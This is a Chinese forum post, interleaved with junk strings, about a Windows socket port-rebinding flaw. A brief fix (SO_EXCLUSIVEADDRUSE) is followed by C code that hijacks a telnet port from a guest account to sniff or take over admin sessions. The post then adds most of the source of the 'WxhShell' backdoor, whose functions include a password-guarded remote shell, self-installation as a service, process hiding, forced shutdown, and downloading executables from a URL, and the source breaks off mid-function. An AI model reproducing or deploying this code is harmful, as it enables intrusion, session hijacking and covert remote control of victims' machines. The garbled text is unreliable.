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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8l-+ 4~mH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QKDY:1]  
H[#s&Fk2  
  saddr.sin_family = AF_INET; wXIsc;  
!([Q1r{u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `VCU`Y  
<7fF9X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rlqn39  
6?b 9~xRW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7d*SZmD  
dPwe.:  
  这意味着什么?意味着可以进行如下的攻击: QkBT, c  
Qctm"g|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qRT1Wre 3  
.%j&#(!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fo9O+e s  
pRe, B'&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h~)oiT2v  
-H5n>j0!{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kFZw"5hb  
s7e)Mt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +e+hIMur  
%B5.zs]Of  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *xR;}%s\  
Z[<rz6%cB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ye=*m  
hG .>>  
  #include H6X]D"Y,  
  #include >MZWm6M8  
  #include /( %Q  
  #include    `W,gYH7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   aRPgo0,W1  
  int main() cf)2GoV>e  
  { A ^@:Ps  
  WORD wVersionRequested; *ci,;-*C  
  DWORD ret; YzJ\< tkp  
  WSADATA wsaData; A@-nn]  
  BOOL val; y33+^  
  SOCKADDR_IN saddr; &0Yv*,4]  
  SOCKADDR_IN scaddr; Nv}'"V>  
  int err; H~UxVQLPp  
  SOCKET s; 0PO'9#  
  SOCKET sc; 6!7LgM%4  
  int caddsize; sN0S~}F+  
  HANDLE mt; HEHTj,T  
  DWORD tid;   ovJ#2_  
  wVersionRequested = MAKEWORD( 2, 2 ); pi7Fd\A  
  err = WSAStartup( wVersionRequested, &wsaData ); gp'9Pf;\[  
  if ( err != 0 ) { m`C c U`s  
  printf("error!WSAStartup failed!\n"); UUi@ U  
  return -1; Ex2TV7I  
  } 3`[f<XaL  
  saddr.sin_family = AF_INET; S~fURn  
   b@j**O>[q)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aHx(~&hRcL  
\x?q!(;G2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); aC:Sy^Tf  
  saddr.sin_port = htons(23); O|j(CaF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1sx@Nvlb  
  { Si#I^aF`%  
  printf("error!socket failed!\n"); &1)4B  
  return -1; J%`-K"NB  
  } j f25Ky~  
  val = TRUE; 6vp\~J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (3 xCW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |>o]+V  
  { NFq&a i  
  printf("error!setsockopt failed!\n"); Au Ib>@a  
  return -1; ^UI{U1N~Bz  
  } iq'hel  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {"|P  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OI0#@_L&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2z9\p%MX  
Y+5nn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8|k r|l  
  { kDJ $kv  
  ret=GetLastError(); wGdnv}#  
  printf("error!bind failed!\n"); qW*JB4`?a  
  return -1; mLApF5Hy  
  } :xOne<@  
  listen(s,2); j\l9|vpp  
  while(1) H]&a}WQ_  
  { &4 Py  
  caddsize = sizeof(scaddr); / blVm1F  
  //接受连接请求 7PQ03dtfg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9gP-//L@  
  if(sc!=INVALID_SOCKET) +>3XJlZV  
  { |iN!V3#S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hTgWqp  
  if(mt==NULL) :lj1[q:Y>  
  { Y_m/? [:  
  printf("Thread Creat Failed!\n"); A&EVzmj-+X  
  break; Cm@e^l!  
  } DM {r<?V  
  } sf{rs*bgp  
  CloseHandle(mt); NA%M)u{|  
  } H",w$$e F  
  closesocket(s); { No*Z'X  
  WSACleanup(); B#RBR<MFC  
  return 0; X(s HFVU+  
  }   :`('lrq  
  DWORD WINAPI ClientThread(LPVOID lpParam) W/03L, 1  
  { l 2&cwjc  
  SOCKET ss = (SOCKET)lpParam; c@H_f  
  SOCKET sc; 4n6EkTa  
  unsigned char buf[4096]; D7q%rO|F'  
  SOCKADDR_IN saddr; X!=E1TL  
  long num; q\+khy,k  
  DWORD val; "^sh:{  
  DWORD ret; u!kC+0Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Dn{ hU $*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Td!@i[6%H  
  saddr.sin_family = AF_INET; poJ7q (  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )_[eqr  
  saddr.sin_port = htons(23); vo48\w7[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wh PwD6l>  
  { {+D 6o  
  printf("error!socket failed!\n"); T-" zK r!  
  return -1; |Z\?nZ~  
  } >%qk2h>  
  val = 100; j?!BHNs  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rHS;wT  
  { y2"PKBK\_  
  ret = GetLastError(); lqD.epm  
  return -1; *g0}pD;r  
  } RM^3Snd=V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UNx|+  
  { M5$YFGGR  
  ret = GetLastError(); (_:k s  
  return -1; K})=&<M0  
  } c!,&]*h"k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PKDzIA~T  
  { r'!HWR  
  printf("error!socket connect failed!\n"); n^} -k'l  
  closesocket(sc); X<pg^Y0  
  closesocket(ss); aT9+] Ig  
  return -1; XUI9)Ne  
  } M84{u!>[  
  while(1) JnC$}amr  
  { |I; tBqN{u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +I>u${sVx*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x2q6y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cr}T ? $\K  
  num = recv(ss,buf,4096,0); 2(SU# /,  
  if(num>0) +[LG>  
  send(sc,buf,num,0); )@vhqVv?  
  else if(num==0) Qqp_(5S|>  
  break; *u?QO4>  
  num = recv(sc,buf,4096,0); R?%J   
  if(num>0) O9+Dd%_KS#  
  send(ss,buf,num,0); 0 _!')+  
  else if(num==0) goE \C  
  break; {}sF ?wZf  
  } `"7}'|  
  closesocket(ss); zmA]@'j  
  closesocket(sc); RA%=_wPD +  
  return 0 ; SG5GJCkc  
  } fX ^h O+f  
^{V t  
TFfV?rBI  
========================================================== _Q9Mn-&qQ  
`u<\ 4&W  
下边附上一个代码,,WXhSHELL mJ_ 5Vt=  
eD(;W n  
========================================================== $ \yZ;Z:  
 wZ(H[be  
#include "stdafx.h" s6U$]9 `  
h_( #U)z_3  
#include <stdio.h> p\'0m0*   
#include <string.h> 6UAn# d9  
#include <windows.h> ;+Dq 3NE  
#include <winsock2.h> As}e I!  
#include <winsvc.h> 2bs={p$}a  
#include <urlmon.h> qG6?k}\\  
A^2n i=b  
#pragma comment (lib, "Ws2_32.lib") |;(95  
#pragma comment (lib, "urlmon.lib") P&>!B,f  
q&DM*!Jq  
#define MAX_USER   100 // 最大客户端连接数 ~nVO%IxM4J  
#define BUF_SOCK   200 // sock buffer azs lNL  
#define KEY_BUFF   255 // 输入 buffer gNWTzz<[f>  
[%0{7pz}  
#define REBOOT     0   // 重启 rIh"MQvi[  
#define SHUTDOWN   1   // 关机 g3Xa b  
l.@v@T(/  
#define DEF_PORT   5000 // 监听端口 #`HY"-7m_  
+HXR ))X  
#define REG_LEN     16   // 注册表键长度 8opd0'SNaB  
#define SVC_LEN     80   // NT服务名长度 rW P -Rm  
o]@Mg5(8Q  
// 从dll定义API Q)IL]S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I[l8@!0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cXd?48O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ee}HQ.}Ja  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ? PI2X.6  
}fV+Kd$CB  
// wxhshell配置信息 fi,h`mdT?  
struct WSCFG { n9%&HDl4  
  int ws_port;         // 监听端口 b2tUJ2p  
  char ws_passstr[REG_LEN]; // 口令 ppP0W `p  
  int ws_autoins;       // 安装标记, 1=yes 0=no R<L<kChg  
  char ws_regname[REG_LEN]; // 注册表键名 SSAf<44e  
  char ws_svcname[REG_LEN]; // 服务名 hr/H vB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F"ua`ercI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q:/3uC7   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SWLt5dV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !U "?vSl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2.2G79 U,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Mb^E  
|>~pA}  
}; ln2lFfz  
CX}==0od  
// default Wxhshell configuration bzWWW^kNL  
struct WSCFG wscfg={DEF_PORT, UuCRQNH  
    "xuhuanlingzhe", 9/h[(qvT  
    1, 8l*h\p:Q  
    "Wxhshell", FGzn|I  
    "Wxhshell", X@ S~D7|ja  
            "WxhShell Service", q.bx nta"  
    "Wrsky Windows CmdShell Service", $kBcnk  
    "Please Input Your Password: ", <~zPt&C]V  
  1, k_`h (R  
  "http://www.wrsky.com/wxhshell.exe", U&W/Nj  
  "Wxhshell.exe" )fl+3!tq  
    }; Ot{~mMDp  
5><T#0W?  
// 消息定义模块 f0{j/+F_o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xri(j,mU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k\X yR4r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8RT<?I^5  
char *msg_ws_ext="\n\rExit."; Gdz*   
char *msg_ws_end="\n\rQuit."; p$}/~5b}4  
char *msg_ws_boot="\n\rReboot..."; X<Ag['r  
char *msg_ws_poff="\n\rShutdown..."; _+OCI%=:  
char *msg_ws_down="\n\rSave to "; M<r]a{Yv  
S1#5oy2  
char *msg_ws_err="\n\rErr!"; 2B"tT"f  
char *msg_ws_ok="\n\rOK!"; X>%li$9J.  
*i {e$Zv'  
char ExeFile[MAX_PATH]; 2U3e!V  
int nUser = 0; ?)H:.]7-x  
HANDLE handles[MAX_USER]; iB5q"hoZC  
int OsIsNt; K >Q 6  
Z7I\\M  
SERVICE_STATUS       serviceStatus; Za]~[F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [X7gP4  
%2\6.c=c  
// 函数声明 kN6 jX  
int Install(void); rX0 ?m:&m  
int Uninstall(void); p6&<eMwFA  
int DownloadFile(char *sURL, SOCKET wsh); 5,+fM6^V  
int Boot(int flag); PQUJUs  
void HideProc(void); ] Upr<!  
int GetOsVer(void); Y;@]G=a   
int Wxhshell(SOCKET wsl); P`avn  
void TalkWithClient(void *cs); -f*5lkO  
int CmdShell(SOCKET sock); |;\pAZ2  
int StartFromService(void); y&/bp<Z  
int StartWxhshell(LPSTR lpCmdLine); MnlD87x@X  
b~2LD3"3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6z]y =J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _sn<"B%>  
jO9! :L>b`  
// 数据结构和表定义 nNeCi  
SERVICE_TABLE_ENTRY DispatchTable[] = ,~/WYw<o  
{ _ ^'QHWP  
{wscfg.ws_svcname, NTServiceMain}, ilyF1=bp  
{NULL, NULL} ?_r{G7|D  
}; G7i0P j  
BF 0#G2`h>  
// 自我安装 `KZu/r-M9  
int Install(void) K'B*D*w  
{ zN9#qlfv  
  char svExeFile[MAX_PATH]; ^Vi{._r  
  HKEY key; gjx-tp 1.  
  strcpy(svExeFile,ExeFile); qMoo#UX  
-3 Sb%V\  
// 如果是win9x系统,修改注册表设为自启动 ]$#9B-uB  
if(!OsIsNt) { SAdo9m'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -q8l"i>h=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^j2ve's:  
  RegCloseKey(key); L c )i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >cpv4Pgm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $@l=FV_;  
  RegCloseKey(key); yo8mfH_,  
  return 0; s>W :vV@  
    } *U}-Y*  
  } #U4 f9.FY*  
} N3zZ>#{  
else { )!U@:x\K  
=[zP  
// 如果是NT以上系统,安装为系统服务 ^nK7&]rK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DWEDL[{  
if (schSCManager!=0) e1y#p3 @d  
{ (BngwLVDK  
  SC_HANDLE schService = CreateService )CHXfO w  
  ( jT/P+2hMW  
  schSCManager, p2< 927z  
  wscfg.ws_svcname, 4>HaKJ-c#  
  wscfg.ws_svcdisp, 5<e{)$C  
  SERVICE_ALL_ACCESS,  U ^nv)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /r2S1"(q  
  SERVICE_AUTO_START,  ZpMv16  
  SERVICE_ERROR_NORMAL, @eutp`xoT\  
  svExeFile, >?_}NZ,y  
  NULL, y^[t3XA6Q  
  NULL, 9_4(}|"N|  
  NULL, :pNS$g[  
  NULL, .R#-u/6g(  
  NULL V7`vLs-  
  ); sAPQbTSM  
  if (schService!=0) R NQq"c\  
  { :I2,  
  CloseServiceHandle(schService);  F=a  
  CloseServiceHandle(schSCManager); h?$J;xn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `(gQw~|z  
  strcat(svExeFile,wscfg.ws_svcname); cK2;)&U7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 54B`T/>R:E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZJ~0o2xZ'  
  RegCloseKey(key); {'[VL;k  
  return 0; }K`KoM  
    } N8k=c3|  
  } pQ!lY  
  CloseServiceHandle(schSCManager); d[5v A/8O  
} 4)>UTMF  
} )Vrp<"v  
~kj96w4eAR  
return 1; O*bzp-6\  
} GmE`YW  
H "5,To  
// 自我卸载 o3eaNYa  
int Uninstall(void) )MLbE-@  
{ FCOa|IKsN  
  HKEY key; /R?[/`)f&  
`rK@> -  
if(!OsIsNt) { BTYYp1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hOkn@F.  
  RegDeleteValue(key,wscfg.ws_regname); k Jw Pd;%  
  RegCloseKey(key); Aqz $WTHW+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $}0!dR2  
  RegDeleteValue(key,wscfg.ws_regname); YJ-<t6  
  RegCloseKey(key); + !" Y C  
  return 0; xpCZlOld  
  } 7[uN;B#V  
} 'r ^ .Ao5  
} if*~cPnN  
else { Q`6hJgyL  
$tXW/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l_$>$d  
if (schSCManager!=0) 0I:5}$+J?  
{ zUDXkG*Lv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Qds:*]vGS  
  if (schService!=0) UZmUYSu;  
  { ->o[ S0  
  if(DeleteService(schService)!=0) { r$-P  
  CloseServiceHandle(schService); NFtA2EMLu[  
  CloseServiceHandle(schSCManager); MK@rx6<9  
  return 0; jJNl{nyq  
  } 3TLym&  
  CloseServiceHandle(schService); J]zhwM  
  } o8H\l\(  
  CloseServiceHandle(schSCManager); 98| v.d  
} FGie*t  
} >R_m@$`  
\ykA7Y%  
return 1; {T,}]oX  
} US^%pd  
$T:;Kc W)  
// 从指定url下载文件 <P ?gP1_zi  
int DownloadFile(char *sURL, SOCKET wsh) kOdpW  
{ B2*>7 kc_s  
  HRESULT hr; n @R/zy  
char seps[]= "/"; lZe-A/E  
char *token; 9o6[4Q}  
char *file; GUD]sXSj  
char myURL[MAX_PATH]; D| <_96_m  
char myFILE[MAX_PATH]; ZR%$f-  
/ueOc<[8"  
strcpy(myURL,sURL); (UhJ Pco"  
  token=strtok(myURL,seps); @8w5Oudvx  
  while(token!=NULL) vJct)i  
  { v@ qDR|?^  
    file=token; 1zG6^U  
  token=strtok(NULL,seps); ?(Tin80=r  
  } =./PY10'  
:f%kk atO  
GetCurrentDirectory(MAX_PATH,myFILE); TuPD5-wB&  
strcat(myFILE, "\\"); 6R8>w,  
strcat(myFILE, file); $cuBd  
  send(wsh,myFILE,strlen(myFILE),0); RJd*(!y  
send(wsh,"...",3,0); ]bmf}&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kka{u[ruA  
  if(hr==S_OK) $;} @2U   
return 0; 0-aaLC~Z>  
else #O,w{S  
return 1; !};Ll=dz  
Z%LS{o~LK.  
} ]B8iQr-!  
}.U(Gxu$  
// 系统电源模块 OC-d5P  
int Boot(int flag) wu11)HFL|z  
{ [`E_/95  
  HANDLE hToken; [Mc Hl1a  
  TOKEN_PRIVILEGES tkp; H^`J(J+  
])bgUH  
  if(OsIsNt) { #Tag"b`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f\=,_AQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \fSruhD  
    tkp.PrivilegeCount = 1; vN@04a\h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N+5f.c+S-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UY,u-E"  
if(flag==REBOOT) { s?;V!t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '/Vm[L$d  
  return 0; ;"e55|d9I  
} b"}ya/  
else { |0>rojMq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  P s|[  
  return 0; /NR*<,c%  
} QhAYCw2  
  } oa5L5Zr,A  
  else { a #s Nd  
if(flag==REBOOT) { <;>k[P'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r4gLoHD)  
  return 0; OEzSItAI/[  
} /#"9!8%V  
else { yLnTIE3)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bO6cv{>x  
  return 0; ;}KJ[5i-V  
} 4AvIU!0w  
} Z\QN n  
 ]SL+ZT  
return 1; PR(KDwsT&l  
} M&",7CPD(1  
!Q%r4Nr  
// win9x进程隐藏模块 z Z~t ,>  
void HideProc(void) ;Z;` BGZJ  
{ cFJZ|Ld  
t4~?m{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2v4&'C  
  if ( hKernel != NULL ) 5 ^l-3s?M  
  { 2\O!vp>|-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RLLL=?W@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tpeMq -  
    FreeLibrary(hKernel); {- MhhRa5  
  } @Xh8kvc81  
,O^kZ}b  
return; H.l WHM+H4  
} Po\+zZjo  
8(A k  
// 获取操作系统版本 w)YTHY (k;  
int GetOsVer(void) &?y|Pn  
{ IsFL"Vx  
  OSVERSIONINFO winfo; ww%4MHPp8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QZO<'q`L  
  GetVersionEx(&winfo); /z)8k4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,g|ht%"  
  return 1; eUgKwu;  
  else  %\B?X;(  
  return 0; 6/(Z*L"~6k  
} <3=k  
>%_i#|dE>  
// 客户端句柄模块 ]i `~J  
int Wxhshell(SOCKET wsl) ,s@S`KS0  
{ chE}`I?  
  SOCKET wsh; la]Zk  
  struct sockaddr_in client; G"vEtNoV  
  DWORD myID; \tS| N40  
F:0 E- z'  
  while(nUser<MAX_USER) (~b0-3s  
{ jt9@aN.mJN  
  int nSize=sizeof(client); OQyZ'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :4"b(L  
  if(wsh==INVALID_SOCKET) return 1;  M[R'  
WS@8Z0@RD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ry* 9  
if(handles[nUser]==0) IY2f$YV  
  closesocket(wsh); 5hAs/i9_  
else tf9a- s  
  nUser++; 9w\C vO&R  
  } 5y~B/.YY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z$)jPDSr  
B|;?#okx  
  return 0; 9!D c=  
} :{Iv ]d  
A2fuNV_  
// 关闭 socket C$v !emu  
void CloseIt(SOCKET wsh) o 7&q  
{ f_QZ ql  
closesocket(wsh); HNfd[#gV  
nUser--; #q?:Act  
ExitThread(0); VOp+6ho<  
} M3)Id?|]6  
Vt4,?"  
// 客户端请求句柄 2-"`%rE  
void TalkWithClient(void *cs) MPsm)jqX  
{ >LEp EMJ\  
S?~/ V]  
  SOCKET wsh=(SOCKET)cs; 7{f{SIB  
  char pwd[SVC_LEN]; (*!4O>]  
  char cmd[KEY_BUFF]; @Z9>E+udQ  
char chr[1]; }iB>3|\  
int i,j; Z2k5qs7g  
` B+Pl6l)F  
  while (nUser < MAX_USER) { Pj*"2 LBW#  
E0Kt4%b  
if(wscfg.ws_passstr) { "LVN:|!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #~qY%X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vjr}"K$Y  
  //ZeroMemory(pwd,KEY_BUFF); hB]<li)"C  
      i=0; `%0k\,}V  
  while(i<SVC_LEN) { : DBJ2n  
"I[u D)$  
  // 设置超时 {_J1m&/  
  fd_set FdRead; NUX2{8gs  
  struct timeval TimeOut; [\pp KC  
  FD_ZERO(&FdRead); JB!KOzw  
  FD_SET(wsh,&FdRead); l`AA<Rj*O-  
  TimeOut.tv_sec=8; Be0v&Q_NK  
  TimeOut.tv_usec=0; |DoD.?v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,#80`&\%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *3!ixDX[r  
4= hz4(5a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YR68'Sft[  
  pwd=chr[0]; GG`;c?d@  
  if(chr[0]==0xd || chr[0]==0xa) { =xHzhh  
  pwd=0; K6oQx)|  
  break; A)o%\j  
  } f<2<8xS  
  i++; o}lA\A  
    } Ns`:=  
yvKKE  
  // 如果是非法用户,关闭 socket 1|#j/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KHt#mQy)9  
} dw< b}2  
!tv+,l&L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0[SrRpD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BQ77 n2(@  
tumYZ)nW  
while(1) { 'xc=N  
UL\gcZ Zkl  
  ZeroMemory(cmd,KEY_BUFF); $PKUcT0N9  
q8f nUK?i  
      // 自动支持客户端 telnet标准   ln=:E$jX  
  j=0; KH76Vts  
  while(j<KEY_BUFF) { 5B+I\f&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i@spd5.  
  cmd[j]=chr[0]; /hbdQm  
  if(chr[0]==0xa || chr[0]==0xd) { {(qH8A  
  cmd[j]=0; }VXZM7@u  
  break; '9q:gFO  
  } 3gU*,K7  
  j++; /c-%+Xd  
    } _8nT$!\\  
;CdxKr- d  
  // 下载文件 Hqm1[G)  
  if(strstr(cmd,"http://")) { V(6ovJpA0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g7U>G=,;?U  
  if(DownloadFile(cmd,wsh)) d7Devs k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [+Y;w`;Fq  
  else ,O ]AB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z }Z]["q  
  } .< /.(7  
  else { B#;0{  
K+J fU J  
    switch(cmd[0]) { nfzKUJY  
  9\D0mjn=l  
  // 帮助 e.ksN  
  case '?': { "jG-)k`a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \Zms  
    break; Kf-rthO  
  } ac??lHtH9  
  // 安装 8 |iMD1  
  case 'i': { >n^[-SWJCT  
    if(Install()) vAp?Zl?g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^L;k  
    else i@ XFnt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *<nfA}  
    break; Ffp<|2T2_  
    } fKZgAISF  
  // 卸载 jIs2R3B  
  case 'r': { ;NzS;C'  
    if(Uninstall()) vs~lyM/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r 2L=gI  
    else D1VM_O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'U'#_mYG  
    break; wam- =3W  
    } 86,$ I+  
  // 显示 wxhshell 所在路径 uuMHD{}?}  
  case 'p': { S0<m><|kl  
    char svExeFile[MAX_PATH]; >ey- j\_v  
    strcpy(svExeFile,"\n\r"); !,3U_!  
      strcat(svExeFile,ExeFile); v/B:n   
        send(wsh,svExeFile,strlen(svExeFile),0); rv?d3QqIC  
    break; ~NtAr1  
    } qxe%RYdA'j  
  // 重启 qW6}^aa  
  case 'b': { aY7.<p*a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H;O PA8\n  
    if(Boot(REBOOT)) .xp|w^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %d\|a~p:  
    else { H\Jpw  
    closesocket(wsh); IN%04~= H  
    ExitThread(0); /Aq):T T  
    } {? dW-  
    break; `i)&nW)R  
    } MjHjL~Tg  
  // 关机 #)xg$9LQb  
  case 'd': { GI:$(<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *jF VYg  
    if(Boot(SHUTDOWN)) g$f ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8>|@O<2\  
